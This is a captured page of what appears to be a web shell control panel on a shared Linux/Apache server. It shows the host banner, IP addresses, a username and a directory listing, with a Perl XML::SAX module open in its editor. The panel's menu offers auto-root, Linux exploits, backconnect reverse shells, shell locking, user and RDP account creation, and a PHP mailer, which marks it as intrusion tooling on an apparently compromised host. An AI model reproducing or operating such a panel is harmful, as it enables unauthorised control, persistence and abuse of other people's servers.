Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
XML /
SAX /
[ HOME SHELL ]
Name
Size
Permission
Action
PurePerl
[ DIR ]
drwxr-xr-x
Base.pm
120.02
KB
-rw-r--r--
Debian.pm
985
B
-rw-r--r--
DocumentLocator.pm
2.81
KB
-rw-r--r--
Exception.pm
2.96
KB
-rw-r--r--
Intro.pod
14.47
KB
-rw-r--r--
ParserDetails.ini
202
B
-rw-r--r--
ParserFactory.pm
6.38
KB
-rw-r--r--
PurePerl.pm
20.11
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Debian.pm
package XML::SAX::Debian; use strict; use warnings; use base "XML::SAX"; use File::Spec (); sub save_parsers_debian { my $class = shift; my ($parser_module,$directory, $priority) = @_; # add parser { # We do not want load_parsers to complain. local $ENV{HARNESS_ACTIVE} = 1; $class->load_parsers("/nonexistent"); } $class->add_parser($parser_module); # get parser's ParserDetails file my $file = $parser_module; $file = "${priority}-$file" if $priority != 0; $file = File::Spec->catfile($directory, $file); chmod 0644, $file; unlink($file); open(my $fh, ">$file") || die "Cannot write to $file: $!"; foreach my $p (@{ $class->parsers }) { print $fh "[$p->{Name}]\n"; foreach my $key (sort keys %{$p->{Features}}) { print $fh "$key = $p->{Features}{$key}\n"; } print $fh "\n"; } print $fh "\n"; close $fh; return $class; } 1;
Close
